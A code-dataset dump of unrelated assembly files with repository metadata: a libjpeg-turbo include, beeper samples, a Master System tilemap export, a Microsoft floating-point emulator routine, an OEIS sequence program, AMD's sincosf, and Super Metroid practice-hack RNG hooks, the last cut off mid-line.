%define RGB_PIXELSIZE 3 %define jsimd_rgb_gray_convert_sse2 jsimd_extbgr_gray_convert_sse2 %include "jcgryss2-64.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED 2 %define RGB_GREEN 1 %define RGB_BLUE 0 %define RGB_PIXELSIZE 4 %define jsimd_rgb_gray_convert_sse2 jsimd_extbgrx_gray_convert_sse2 %include "jcgryss2-64.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED 3 %define RGB_GREEN 2 %define RGB_BLUE 1 %define RGB_PIXELSIZE 4 %define jsimd_rgb_gray_convert_sse2 jsimd_extxbgr_gray_convert_sse2 %include "jcgryss2-64.asm" %undef RGB_RED %undef RGB_GREEN %undef RGB_BLUE %undef RGB_PIXELSIZE %define RGB_RED 1 %define RGB_GREEN 2 %define RGB_BLUE 3 %define RGB_PIXELSIZE 4 %define jsimd_rgb_gray_convert_sse2 jsimd_extxrgb_gray_convert_sse2 %include "jcgryss2-64.asm"
26.087719
79
0.705111
[ "MPL-2.0", "MPL-2.0-no-copyleft-exception" ]
michaelforfxhelp/fxhelprepo
third_party/chromium/third_party/libjpeg_turbo/simd/jcgrass2-64.asm
2,974
Assembly
ds 48 ds 16,1 ds 48 ds 16,2 ds 48 ds 16,3 ds 48 ds 16,4
7.111111
8
0.5625
[ "BSD-3-Clause" ]
bushy555/ZX-Spectrum-1-Bit-Routines
beepertoy/samples/ice-v4.asm
64
Assembly
;####################################################### ; ; Generated by MAPeD-SMS Copyright 2017-2021 0x8BitDev ; ;####################################################### ; export options: ; - tiles 4x4/(columns) ; - properties per CHR (screen attributes) ; - mode: static screens ; - layout: adjacent screens (no marks) ; - no entities .define MAP_DATA_MAGIC $3088A ; data flags: .define MAP_FLAG_TILES2X2 $01 .define MAP_FLAG_TILES4X4 $02 .define MAP_FLAG_RLE $04 .define MAP_FLAG_DIR_COLUMNS $08 .define MAP_FLAG_DIR_ROWS $10 .define MAP_FLAG_MODE_MULTIDIR_SCROLL $20 .define MAP_FLAG_MODE_BIDIR_SCROLL $40 .define MAP_FLAG_MODE_STATIC_SCREENS $80 .define MAP_FLAG_ENTITIES $100 .define MAP_FLAG_ENTITY_SCREEN_COORDS $200 .define MAP_FLAG_ENTITY_MAP_COORS $400 .define MAP_FLAG_LAYOUT_ADJACENT_SCREENS $800 .define MAP_FLAG_LAYOUT_ADJACENT_SCR_INDS $1000 .define MAP_FLAG_LAYOUT_MATRIX $2000 .define MAP_FLAG_MARKS $4000 .define MAP_FLAG_PROP_ID_PER_BLOCK $8000 .define MAP_FLAG_PROP_ID_PER_CHR $10000 .define MAP_FLAG_PROP_IN_SCR_ATTRS $20000 .define MAP_CHR_BPP 4 .define MAP_CHRS_OFFSET 0 ; first CHR index in CHR bank .define ScrTilesWidth 8 ; number of screen tiles (4x4) in width .define ScrTilesHeight 6 ; number of screen tiles (4x4) in height .define ScrPixelsWidth 256 ; screen width in pixels .define ScrPixelsHeight 192 ; screen height in pixels ; *** GLOBAL DATA *** chr0: .incbin "tilemap_chr0.bin" ; (3072) chr1: .incbin "tilemap_chr1.bin" ; (7072) chr2: .incbin "tilemap_chr2.bin" ; (7424) tilemap_CHRs: .word chr0 .word chr1 .word chr2 tilemap_CHRs_size: .word 3072 ;(chr0) .word 7072 ;(chr1) .word 7424 ;(chr2) tilemap_VDPScr: .incbin "tilemap_VDPScr.bin" ; (4608) VDP-ready data array for each screen (1536 bytes per screen) .define ScrGfxDataSize 1536 tilemap_Plts: .incbin "tilemap_Plts.bin" ; (96) palettes array of all exported data banks ( data offset = chr_id * 32 ) ; *** Lev0 *** .define Lev0_StartScr Lev0Scr1 Lev0Scr0: .byte 1 ; chr_id .word 3072 ; tilemap_VDPScr offset .byte 1 ; screen index .word 0 ; left adjacent screen .word 0 ; up adjacent screen .word Lev0Scr1 ; right adjacent screen .word 0 ; down adjacent screen Lev0Scr1: .byte 0 .word 0 .byte 0 .word Lev0Scr0 .word 0 .word Lev0Scr2 .word 0 Lev0Scr2: .byte 2 .word 1536 .byte 2 .word Lev0Scr1 .word 0 .word 0 .word 0
24.361111
120
0.648803
[ "MIT" ]
0x8BitDev/MAPeD-SPReD
samples/sms/tilemap_render/stat_scr_VDP_data/data/tilemap.asm
2,631
Assembly
page ,132 subttl emlsint.asm - Load/Store 16/32-bit integers ;*** ;emlsint.asm - Load/Store 16/32-bit integers ; ; Copyright (c) 1986-89, Microsoft Corporation ; ;Purpose: ; Load/Store 16/32-bit integers ; ; This Module contains Proprietary Information of Microsoft ; Corporation and should be treated as Confidential. ; ;Revision History: ; See emulator.hst ; ;******************************************************************************* ;*********************************************************************; ; ; ; Load Single (16 Bit) Integer ; ; ; ;*********************************************************************; ; ES:SI: memory address of 16 bit integer ProfBegin LSINT pub eFLDsi LDUS2AX ; Fetch the integer MOV DI,AX ; into DI:BP:BX:DX OR DI,DI JZ short LoadZero XOR BP,BP MOV BX,BP MOV DX,BX MOV AX,15 ; Exponent would be 15 if no shifts needed PUSHST ; Get a new TOS XOR CL,CL MOV Tag[esi],CL ; Tag number as valid non-zero MOV CX,DI ; Sign of Integer to CH AND CH,Sign if fastSP OR CH,Single endif JNS short SETFLAG16 ; If positive integer set the flag NEG DI ; Otherwise compliment the number first pub SETFLAG16 MOV Flag[esi],CH JMP IntegerToInternal pub LoadZero PUSHST ; Get a new TOS XOR AX,AX MOV MB0[esi],AX MOV MB2[esi],AX MOV MB4[esi],AX MOV MB6[esi],AX MOV Expon[esi],IexpMin - IexpBias MOV Flag[esi],AH MOV AH,ZROorINF MOV Tag[esi],AH RET PAGE ;*********************************************************************; ; ; ; Store Single (16 Bit) Integer ; ; ; ;*********************************************************************; ; ; ES:SI: memory address of 16 bit integer pub eFSTsi PUSH esi ; Save memory address for store MOV esi,[CURstk] ; Test for special conditions TEST byte ptr Tag[esi],Special ; If number is not in range it is overflow JNZ short IntegerOverflow16 TEST byte ptr Tag[esi],ZROorINF JNZ short StoreIntegerZero16 ; Fetch Exponent & test fo blatent overflow MOV CX,Expon[esi] CMP CX,15 JG short IntegerOverflow16 if fastSP MOV BX,MB4[esi] ; Fetch mantissa to DI:BP:BX:DX MOV DI,MB6[esi] TEST byte ptr Flag[esi],Single JZ SSID XOR BL,BL MOV BP,BX XOR BX,BX MOV DX,BX SSI: else MOV BP,MB4[esi] ; Fetch mantissa to DI:BP:BX:DX MOV DI,MB6[esi] MOV DX,MB0[esi] MOV BX,MB2[esi] endif CALL InternalToInteger ; Integer now in BX:DX (not yet 2's compliment) OR BX,BX ; Test again for Overflow JNZ short IntegerOverflow16 MOV AH,Flag[esi] ; See if we need to compliment OR AH,AH JNS short Int16in2sComp NEG DX JZ short Store16 ; Special case 0 pub Int16in2sComp XOR AX,DX ; If Signs agree we did not overflow JS short IntegerOverflow16 pub Store16 POP edi ; Restore Memory address MOV AX,DX STAX2US RET if fastSP SSID: MOV BP,BX MOV DX,MB0[esi] MOV BX,MB2[esi] JMP SSI endif pub StoreIntegerZero16 XOR DX,DX JMP Store16 pub IntegerOverflow16 OR [CURerr],Invalid MOV DX,8000H ; Integer Indefinite JMP Store16 page ;*********************************************************************; ; ; ; Load Double (32 Bit) Integer ; ; ; ;*********************************************************************; ; ; ES:SI: memory address of 32 bit integer pub eFLDdi LDUS2AX ; Fetch the integer MOV BP,AX ; into DI:BP:BX:DX LDUS2AX MOV DI,AX OR AX,BP JZ short JMPLoadZeroBecauseThisLanguageHasNoFarConditionalJump XOR BX,BX MOV DX,BX MOV AX,31 ; Exponent would be 31 if no shifts needed PUSHST ; Get a new TOS XOR CL,CL MOV Tag[esi],CL ; Tag number as valid non-zero MOV CX,DI ; Sign of Integer to CH AND CH,Sign JNS short SETFLAG32 ; If positive integer set the flag XOR DI,0FFFFH ; Otherwise compliment the number first XOR BP,0FFFFH ADD BP,1 ADC DI,0 pub SETFLAG32 MOV Flag[esi],CH OR DI,DI JZ short SPEEDSHIFT32 JMP IntegerToInternal JMPLoadZeroBecauseThisLanguageHasNoFarConditionalJump: JMP LoadZero pub SPEEDSHIFT32 MOV DI,BP XOR BP,BP SUB AX,16 JMP IntegerToInternal page ;*********************************************************************; ; ; ; Store Double (32 Bit) Integer ; ; ; ;*********************************************************************; ; ; ES:SI: memory address of 32 bit integer pub eFSTdi PUSH esi call TOSto32int ; convert TOS to 32-bit integer POP edi ; Restore Memory address MOV AX,DX STAX2US MOV AX,BX STAX2US RET pub TOSto32int MOV esi,[CURstk] ; Test for special conditions TEST byte ptr Tag[esi],Special ; If number is not in range it is overflow JNZ short IntegerOverflow32 TEST byte ptr Tag[esi],ZROorINF JNZ short StoreIntegerZero32 ; Fetch Exponent & test fo blatent overflow MOV CX,Expon[esi] CMP CX,31 JG short IntegerOverflow32 if fastSP MOV BX,MB4[esi] ; Fetch mantissa to DI:BP:BX:DX MOV DI,MB6[esi] TEST byte ptr Flag[esi],Single JZ SDID XOR BL,BL MOV BP,BX XOR BX,BX MOV DX,BX SDI: else MOV BP,MB4[esi] ; Fetch mantissa to DI:BP:BX:DX MOV DI,MB6[esi] MOV DX,MB0[esi] MOV BX,MB2[esi] endif CALL InternalToInteger ; Integer in BP:BX:DX (not yet 2's compliment) OR BP,BP ; Test again for Overflow JNZ short IntegerOverflow32 MOV AH,Flag[esi] ; See if we need to compliment OR AH,AH JNS short Int32in2sComp XOR BX,0FFFFH ; 2's Compliment of BX:DX XOR DX,0FFFFH ADD DX,1 ADC BX,0 pub Int32in2sComp XOR AX,BX ; If Signs agree we did not overflow JS short IntOverOrZero32 ; Special case is -0 which we let pass pub Store32 ret if fastSP SDID: MOV BP,BX MOV DX,MB0[esi] MOV BX,MB2[esi] JMP SDI endif pub StoreIntegerZero32 XOR DX,DX MOV BX,DX ret pub IntOverOrZero32 OR BX,DX JZ Store32 pub IntegerOverflow32 OR CURerr,Invalid MOV BX,8000H ; Integer Indefinite XOR DX,DX ret ProfEnd LSINT
21.575439
81
0.596032
[ "Unlicense" ]
bestbat/Windows-Server
base/mvdm/wow16/win87em/emlsint.asm
6,149
Assembly
; A241203: a(n) = floor(5^n/4^(n-1)). ; Submitted by Jamie Morken(s3) ; 5,6,7,9,12,15,19,23,29,37,46,58,72,90,113,142,177,222,277,346,433,542,677,847,1058,1323,1654,2067,2584,3231,4038,5048,6310,7888,9860,12325,15407,19259,24074,30092,37615,47019,58774,73468,91835,114794,143492,179366,224207,280259 lpb $0 mov $2,$1 mov $1,5 pow $1,$0 sub $0,1 add $1,$2 div $1,4 lpe mov $0,$1 add $0,5
26.666667
229
0.67
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/241/A241203.asm
400
Assembly
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ; ; An implementation of the sincosf function. ; ; Prototype: ; ; void sincosf(float x, float * sinfx, float * cosfx); ; ; Computes sinf(x) and cosf(x). ; It will provide proper C99 return values, ; but may not raise floating point status bits properly. ; Based on the NAG C implementation. CONST SEGMENT ALIGN 16 __real_3ff0000000000000 DQ 03ff0000000000000h ; 1.0 DQ 0 ; for alignment __real_3fe0000000000000 DQ 03fe0000000000000h ; 0.5 DQ 0 __real_3fc5555555555555 DQ 03fc5555555555555h ; 0.166666666666 DQ 0 __real_3fe45f306dc9c883 DQ 03fe45f306dc9c883h ; twobypi DQ 0 __real_3FF921FB54442D18 DQ 03FF921FB54442D18h ; piby2 DQ 0 __real_3ff921fb54400000 DQ 03ff921fb54400000h ; piby2_1 DQ 0 __real_3dd0b4611a626331 DQ 03dd0b4611a626331h ; piby2_1tail DQ 0 __real_3dd0b4611a600000 DQ 03dd0b4611a600000h ; piby2_2 DQ 0 __real_3ba3198a2e037073 DQ 03ba3198a2e037073h ; piby2_2tail DQ 0 __real_fffffffff8000000 DQ 0fffffffff8000000h ; mask for stripping head and tail DQ 0 __real_8000000000000000 DQ 08000000000000000h ; -0 or signbit DQ 0 __real_411E848000000000 DQ 0415312d000000000h ; 5e6 0411E848000000000h ; 5e5 DQ 0 ALIGN 16 Lcsarray: DQ 0bfc5555555555555h ; -0.166667 s1 DQ 03fa5555555555555h ; 0.0416667 c1 DQ 03f81111111110bb3h ; 0.00833333 s2 DQ 0bf56c16c16c16967h ; -0.00138889 c2 DQ 0bf2a01a019e83e5ch ; -0.000198413 s3 DQ 03efa01a019f4ec90h ; 2.48016e-005 c3 DQ 03ec71de3796cde01h ; 2.75573e-006 s4 DQ 0be927e4fa17f65f6h ; -2.75573e-007 c4 DQ 0be5ae600b42fdfa7h ; -2.50511e-008 s5 DQ 03e21eeb69037ab78h ; 2.08761e-009 c5 DQ 03de5e0b2f9a43bb8h ; 1.59181e-010 s6 DQ 0bda907db46cc5e42h ; -1.13826e-011 c6 CONST ENDS ; define local variable storage offsets p_temp equ 030h ; temporary for get/put bits operation p_temp1 equ 040h ; temporary for get/put bits operation p_temp2 equ 050h ; temporary for get/put bits operation p_temp3 equ 060h ; temporary for get/put bits operation region equ 070h ; pointer to region for amd_remainder_piby2 r equ 080h ; pointer to r for amd_remainder_piby2 save_rdx equ 090h save_r8 equ 0a0h stack_size equ 0c8h include fm.inc FN_PROTOTYPE sincosf fname_special TEXTEQU <_sincosf_special> ;Define name and any external functions being called EXTRN __amd_remainder_piby2d2f : PROC ; NEAR EXTERN fname_special : PROC StackAllocate MACRO size sub rsp, size .ALLOCSTACK size ENDM text SEGMENT EXECUTE PUBLIC fname fname PROC FRAME StackAllocate stack_size .ENDPROLOG xorpd xmm2, xmm2 mov QWORD PTR save_rdx[rsp], rdx ; save the return pointer mov QWORD PTR save_r8[rsp], r8 ; rdx is ux movd rdx,xmm0 ;; if NaN or inf mov rax, 07f800000h mov r10, rax and r10, rdx cmp r10d, eax jz __sc_naninf ; GET_BITS_DP64(x, ux); ; convert input to double. cvtss2sd xmm0, xmm0 ; get the input value to an integer register. movd rdx,xmm0 ; ax = (ux & ~SIGNBIT_DP64); mov r10, 07fffffffffffffffh and r10, rdx ; r10 is ax ;; if (ax <= 3fe921fb54442d18h) /* abs(x) <= pi/4 */ mov rax, 03fe921fb54442d18h cmp r10, rax jg __sc_reduce ;; if (ax < 0x3f20000000000000) abs(x) < 2.0^(-13) mov rax, 3f20000000000000h cmp r10, rax jge __sc_notsmallest ; sin = x, cos = 1.0; movsd xmm1, QWORD PTR __real_3ff0000000000000 jmp __sc_cleanup ; *s = sin_piby4(x, 0.0); ; *c = cos_piby4(x, 0.0); __sc_notsmallest: xor eax, eax ; region 0 mov rdx, r10 movsd xmm5, QWORD PTR __real_3fe0000000000000 ; .5 jmp __sc_piby4 __sc_reduce: ; reduce the argument to be in a range from -pi/4 to +pi/4 ; by subtracting multiples of pi/2 ; xneg = (ax != ux); cmp rdx, r10 ;; if (xneg) x = -x; jz Lpositive subsd xmm2, xmm0 movsd xmm0, xmm2 ALIGN 16 Lpositive: ;; if (x < 5.0e5) cmp r10, QWORD PTR __real_411E848000000000 jae Lsincosf_reduce_precise movsd xmm2, xmm0 movsd xmm4, xmm0 mulsd xmm2, QWORD PTR __real_3fe45f306dc9c883 ; twobypi movsd xmm5, QWORD PTR __real_3fe0000000000000 ; .5 ;/* How many pi/2 is x a multiple of? */ ; xexp = ax >> EXPSHIFTBITS_DP64; mov r9, r10 shr r9, 52 ; >> EXPSHIFTBITS_DP64 ; npi2 = (int)(x * twobypi + 0.5); addsd xmm2, xmm5 ; npi2 movsd xmm3, QWORD PTR __real_3ff921fb54400000 ; piby2_1 cvttpd2dq xmm0, xmm2 ; convert to integer movsd xmm1, QWORD PTR __real_3dd0b4611a626331 ; piby2_1tail cvtdq2pd xmm2, xmm0 ; and back to float. ; /* Subtract the multiple from x to get an extra-precision remainder */ ; rhead = x - npi2 * piby2_1; mulsd xmm3, xmm2 ; use piby2_1 subsd xmm4, xmm3 ; rhead ; rtail = npi2 * piby2_1tail; mulsd xmm1, xmm2 ; rtail movd eax, xmm0 ; GET_BITS_DP64(rhead-rtail, uy); ; originally only rhead movsd xmm0, xmm4 subsd xmm0, xmm1 movsd xmm3, QWORD PTR __real_3dd0b4611a600000 ; piby2_2 movsd xmm5, QWORD PTR __real_3ba3198a2e037073 ; piby2_2tail movd rcx, xmm0 ; expdiff = xexp - ((uy & EXPBITS_DP64) >> EXPSHIFTBITS_DP64); shl rcx, 1 ; strip any sign bit shr rcx, 53 ; >> EXPSHIFTBITS_DP64 +1 sub r9, rcx ; expdiff ;; if (expdiff > 15) cmp r9, 15 jle Lexpdiff15 ; /* The remainder is pretty small compared with x, which ; implies that x is a near multiple of pi/2 ; (x matches the multiple to at least 15 bits) */ ; t = rhead; movsd xmm1, xmm4 ; rtail = npi2 * piby2_2; mulsd xmm3, xmm2 ; rhead = t - rtail; mulsd xmm5, xmm2 ; npi2 * piby2_2tail subsd xmm4, xmm3 ; rhead ; rtail = npi2 * piby2_2tail - ((t - rhead) - rtail); subsd xmm1, xmm4 ; t - rhead subsd xmm1, xmm3 ; -rtail subsd xmm5, xmm1 ; rtail ; r = rhead - rtail; movsd xmm0, xmm4 ; ;xmm1=rtail movsd xmm1, xmm5 subsd xmm0, xmm5 ; region = npi2 & 3; ; and eax, 3 ;xmm0=r, xmm4=rhead, xmm1=rtail Lexpdiff15: ;; if the input was close to a pi/2 multiple ; cmp rcx, 03f2h ; if r small. jge __sc_piby4 ; use taylor series if not cmp rcx, 03deh ; if r really small. jle Lsinsmall ; then sin(r) = r movsd xmm2, xmm0 mulsd xmm2, xmm2 ; x^2 ; use simply polynomial ; *s = x - x*x*x*0.166666666666666666; movsd xmm3, QWORD PTR __real_3fc5555555555555 ; mulsd xmm3, xmm0 ; * x mulsd xmm3, xmm2 ; * x^2 subsd xmm0, xmm3 ; xs ; *c = 1.0 - x*x*0.5; movsd xmm1, QWORD PTR __real_3ff0000000000000 ; 1.0 mulsd xmm2, QWORD PTR __real_3fe0000000000000 ; 0.5 *x^2 subsd xmm1, xmm2 jmp __adjust_region Lsinsmall: ; then sin(r) = r movsd xmm1, QWORD PTR __real_3ff0000000000000 ; cos(r) is a 1 jmp __adjust_region ; perform taylor series to calc sinx, cosx ; COS ; x2 = x * x; ; return (1.0 - 0.5 * x2 + (x2 * x2 * ; (c1 + x2 * (c2 + x2 * (c3 + x2 * c4))))); ; x2 = x * x; ; return (1.0 - 0.5 * x2 + (x2 * x2 * ; (c1 + x2 * (c2 + x2 * (c3 + x2 * c4))))); ; SIN ; zc,zs = (c2 + x2 * (c3 + x2 * c4 )); ; xs = r + x3 * (sc1 + x2 * zs); ; x2 = x * x; ; return (x + x * x2 * (c1 + x2 * (c2 + x2 * (c3 + x2 * c4)))); ; done with reducing the argument. Now perform the sin/cos calculations. ALIGN 16 __sc_piby4: ; x2 = r * r; movsd xmm5, QWORD PTR __real_3fe0000000000000 ; .5 movsd xmm2, xmm0 mulsd xmm2, xmm0 ; x2 shufpd xmm2, xmm2, 0 ; x2,x2 movsd xmm4, xmm2 mulsd xmm4, xmm4 ; x4 shufpd xmm4, xmm4, 0 ; x4,x4 ; x2m = _mm_set1_pd (x2); ; zc,zs = (c2 + x2 * (c3 + x2 * c4 )); ; xs = r + x3 * (sc1 + x2 * zs); ; xc = t + ( x2 * x2 * (cc1 + x2 * zc)); movapd xmm1, QWORD PTR Lcsarray+30h ; c4 movapd xmm3, QWORD PTR Lcsarray+10h ; c2 mulpd xmm1, xmm2 ; x2c4 mulpd xmm3, xmm2 ; x2c2 ; rc = 0.5 * x2; mulsd xmm5, xmm2 ;rc mulsd xmm2, xmm0 ;x3 addpd xmm1, QWORD PTR Lcsarray+20h ; c3 + x2c4 addpd xmm3, QWORD PTR Lcsarray ; c1 + x2c2 mulpd xmm1, xmm4 ; x4(c3 + x2c4) addpd xmm1, xmm3 ; c1 + x2c2 + x4(c3 + x2c4) ; -t = rc-1; subsd xmm5, QWORD PTR __real_3ff0000000000000 ; 1.0 ; now we have the poly for sin in the low half, and cos in upper half mulsd xmm2, xmm1 ; x3(sin poly) shufpd xmm1, xmm1, 3 ; get cos poly to low half of register mulsd xmm1, xmm4 ; x4(cos poly) addsd xmm0, xmm2 ; sin = r+... subsd xmm1, xmm5 ; cos = poly-(-t) __adjust_region: ; xmm0 is sin, xmm1 is cos ; switch (region) mov ecx, eax and eax, 1 jz Lregion02 ; region 1 or 3 movsd xmm2, xmm0 ; swap sin,cos movsd xmm0, xmm1 ; sin = cos xorpd xmm1, xmm1 subsd xmm1, xmm2 ; cos = -sin Lregion02: and ecx, 2 jz Lregion23 ; region 2 or 3 movsd xmm2, xmm0 movsd xmm3, xmm1 xorpd xmm0, xmm0 xorpd xmm1, xmm1 subsd xmm0, xmm2 ; sin = -sin subsd xmm1, xmm3 ; cos = -cos Lregion23: ;; if (xneg) *s = -*s ; cmp rdx, r10 jz __sc_cleanup movsd xmm2, xmm0 xorpd xmm0, xmm0 subsd xmm0, xmm2 ; sin = -sin ALIGN 16 __sc_cleanup: mov rdx, QWORD PTR save_rdx[rsp] ; restore the return pointer mov r8, QWORD PTR save_r8[rsp] cvtsd2ss xmm0, xmm0 ; convert back to floats cvtsd2ss xmm1, xmm1 movss DWORD PTR [rdx], xmm0 ; save the sin movss DWORD PTR [r8], xmm1 ; save the cos add rsp, stack_size ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN 16 Lsincosf_reduce_precise: ; /* Reduce abs(x) into range [-pi/4,pi/4] */ ; __amd_remainder_piby2(ax, &r, &region); mov QWORD PTR p_temp[rsp], rdx ; save ux for use later mov QWORD PTR p_temp1[rsp], r10 ; save ax for use later movd rcx, xmm0 lea rdx, QWORD PTR r[rsp] lea r8, QWORD PTR region[rsp] sub rsp,020h call __amd_remainder_piby2d2f add rsp, 020h mov rdx, QWORD PTR p_temp[rsp] ; restore ux for use later mov r10, QWORD PTR p_temp1[rsp] ; restore ax for use later mov r8d, 1 ; for determining region later on movsd xmm0, QWORD PTR r[rsp] ; r mov eax, DWORD PTR region[rsp] ; region jmp __sc_piby4 ALIGN 16 __sc_naninf: ;cvtsd2ss xmm0, xmm0 ; convert back to floats mov rdx, QWORD PTR save_rdx[rsp] ; r8 did not change call fname_special add rsp, stack_size ret fname endp TEXT ENDS END
37.458234
123
0.505256
[ "BSD-3-Clause" ]
HollowMan6/aocl-libm-ose
src/isa/avx/masm/sincosf.asm
15,695
Assembly
; ---------------- ; Phantoon hijacks ; ---------------- { ; Intro if !FEATURE_PAL org $A7D4DD else org $A7D4A9 endif JSL hook_phantoon_init NOP BNE $3D ; 1st pattern if !FEATURE_PAL org $A7D5DA else org $A7D5A6 endif JSL hook_phantoon_1st_rng BRA $10 ; 2nd pattern if !FEATURE_PAL org $A7D0B0 else org $A7D07C endif JSL hook_phantoon_2nd_rng BRA $0F ; Phantoon eye close timer if !FEATURE_PAL org $A7D098 else org $A7D064 endif JSL hook_phantoon_eyeclose ; Phantoon flame pattern if !FEATURE_PAL org $A7D00A else org $A7CFD6 endif JSL hook_phantoon_flame_pattern } ; -------------- ; Botwoon hijack ; -------------- { if !FEATURE_PAL org $B39953 else org $B39943 endif ; $B3:9943 22 11 81 80 JSL $808111[$80:8111] JSL hook_botwoon_rng } ; --------------- ; Draygon hijacks ; --------------- { if !FEATURE_PAL org $A58AEC else org $A58ADC endif JSR hook_draygon_rng_left if !FEATURE_PAL org $A589AD else org $A5899D endif JSR hook_draygon_rng_right } ; ---------------- ; Crocomire hijack ; ---------------- { if !FEATURE_PAL org $A48763 else org $A48753 endif JSR hook_crocomire_rng } ; ------------- ; Kraid hijacks ; ------------- { if !FEATURE_PAL org $A7BDF3 else org $A7BDBF endif JSR hook_kraid_rng if !FEATURE_PAL org $A7AA7F else org $A7AA69 endif JMP kraid_intro_skip kraid_intro_skip_return: } ; ----------------- ; "Set rng" hijacks ; ----------------- { ; $A3:AB0C A9 25 00 LDA #$0025 ; $A3:AB0F 8D E5 05 STA $05E5 [$7E:05E5] ; $A3:AB12 22 11 81 80 JSL $808111[$80:8111] if !FEATURE_PAL org $A3AB2E else org $A3AB12 endif JSL hook_hopper_set_rng ; $A2:B588 A9 11 00 LDA #$0011 ; $A2:B58B 8D E5 05 STA $05E5 [$7E:05E5] if !FEATURE_PAL org $A2B5A0 else org $A2B588 endif JSL hook_lavarocks_set_rng NOP #2 ; $A8:B798 A9 17 00 LDA #$0017 ; $A8:B79B 8D E5 05 STA $05E5 [$7E:05E5] if !FEATURE_PAL org $A8B7A8 else org $A8B798 endif JSL hook_beetom_set_rng NOP #2 } ; ----- ; Hooks ; ----- org $83B000 print pc, " rng start" hook_hopper_set_rng: { LDA #$0001 : STA !ram_room_has_set_rng JML $808111 } hook_lavarocks_set_rng: { LDA #$0001 : STA !ram_room_has_set_rng LDA #$0011 : STA !CACHED_RANDOM_NUMBER RTL } hook_beetom_set_rng: { LDA #$0001 : STA !ram_room_has_set_rng LDA #$0017 : STA !CACHED_RANDOM_NUMBER RTL } ; Patch to the following code (which waits a few frames ; before spawning flames in a circle) ; $A7:D4A9 DE B0 0F DEC $0FB0,x[$7E:0FB0] ; decrement timer ; $A7:D4AC F0 02 BEQ $02 [$D4B0] ; if zero, proceed ; $A7:D4AE 10 3D BPL $3D [$D4ED] ; else, return hook_phantoon_init: { LDA !sram_cutscenes AND !CUTSCENE_FAST_PHANTOON BNE .skip_cutscene DEC $0FB0,X RTL .skip_cutscene: ; get rid of the return address PLA ; pop 2 bytes PHP ; push 1 PLA ; pop 2 (for a total of 3 bytes popped) ; start boss music & fade-in animation if !FEATURE_PAL JML $A7D543 else JML $A7D50F endif } ; Table of Phantoon pattern durations & directions ; bit 0 is direction, remaining bits are duration ; Note that later entries in the table will tend to occur slightly more often. phan_pattern_table: dw $003C<<1|1 ; fast left dw $003C<<1|0 ; fast right dw $0168<<1|1 ; mid left dw $0168<<1|0 ; mid right dw $02D0<<1|1 ; slow left dw $02D0<<1|0 ; slow right ; Patch to the following code, to determine Phantoon's first-round direction and pattern ; $A7:D5A6 AD B6 05 LDA $05B6 [$7E:05B6] ; Frame counter ; $A7:D5A9 4A LSR A ; $A7:D5AA 29 03 00 AND #$0003 ; $A7:D5AD 0A ASL A ; $A7:D5AE A8 TAY ; $A7:D5AF B9 53 CD LDA $CD53,y[$A7:CD59] ; Number of frames to figure-8 ; $A7:D5B2 8D E8 0F STA $0FE8 [$7E:0FE8] ; $A7:D5B5 22 11 81 80 JSL $808111[$80:8111] ; RNG ; $A7:D5B9 89 01 00 BIT #$0001 ; Sets Z for left pattern, !Z for right hook_phantoon_1st_rng: { LDA !ram_phantoon_rng_round_1 ; If set to all-on or all-off, don't mess with RNG. BEQ .no_manip CMP #$003F BNE choose_phantoon_pattern .no_manip: LDA !FRAME_COUNTER LSR A AND #$0003 ASL A TAY if !FEATURE_PAL LDA $CD87,Y else LDA $CD53,Y endif STA $0FE8 JSL $808111 BIT #$0001 RTL } ; Patch to the following code, to determine Phantoon's second-round direction and pattern ; Also affects patterns during Phantoon's invisible phase ; $A7:D07C 22 11 81 80 JSL $808111[$80:8111] ; $A7:D080 29 07 00 AND #$0007 ; $A7:D083 0A ASL A ; $A7:D084 A8 TAY ; $A7:D085 B9 53 CD LDA $CD53,y[$A7:CD5B] ; $A7:D088 8D E8 0F STA $0FE8 [$7E:0FE8] ; $A7:D08B AD B6 05 LDA $05B6 [$7E:05B6] ; $A7:D08E 89 01 00 BIT #$0001 hook_phantoon_2nd_rng: { LDA !ram_phantoon_rng_round_2 ; If set to all-on or all-off, don't mess with RNG. BEQ .no_manip CMP #$003F BNE choose_phantoon_pattern .no_manip: JSL $808111 AND #$0007 ASL A TAY if !FEATURE_PAL LDA $CD87,Y else LDA $CD53,Y endif STA $0FE8 ; Intentional fallthrough to invert logic } hook_phantoon_invert: { LDA !ram_phantoon_rng_inverted : BEQ .vanilla_inverted CMP #$0001 : BEQ .inverted CMP #$0002 : BEQ .not_inverted ; Random LDA !CACHED_RANDOM_NUMBER : BIT #$0080 RTL .inverted LDA #$0000 : BIT #$0001 RTL .not_inverted LDA #$0001 : BIT #$0001 RTL .vanilla_inverted LDA !FRAME_COUNTER : BIT 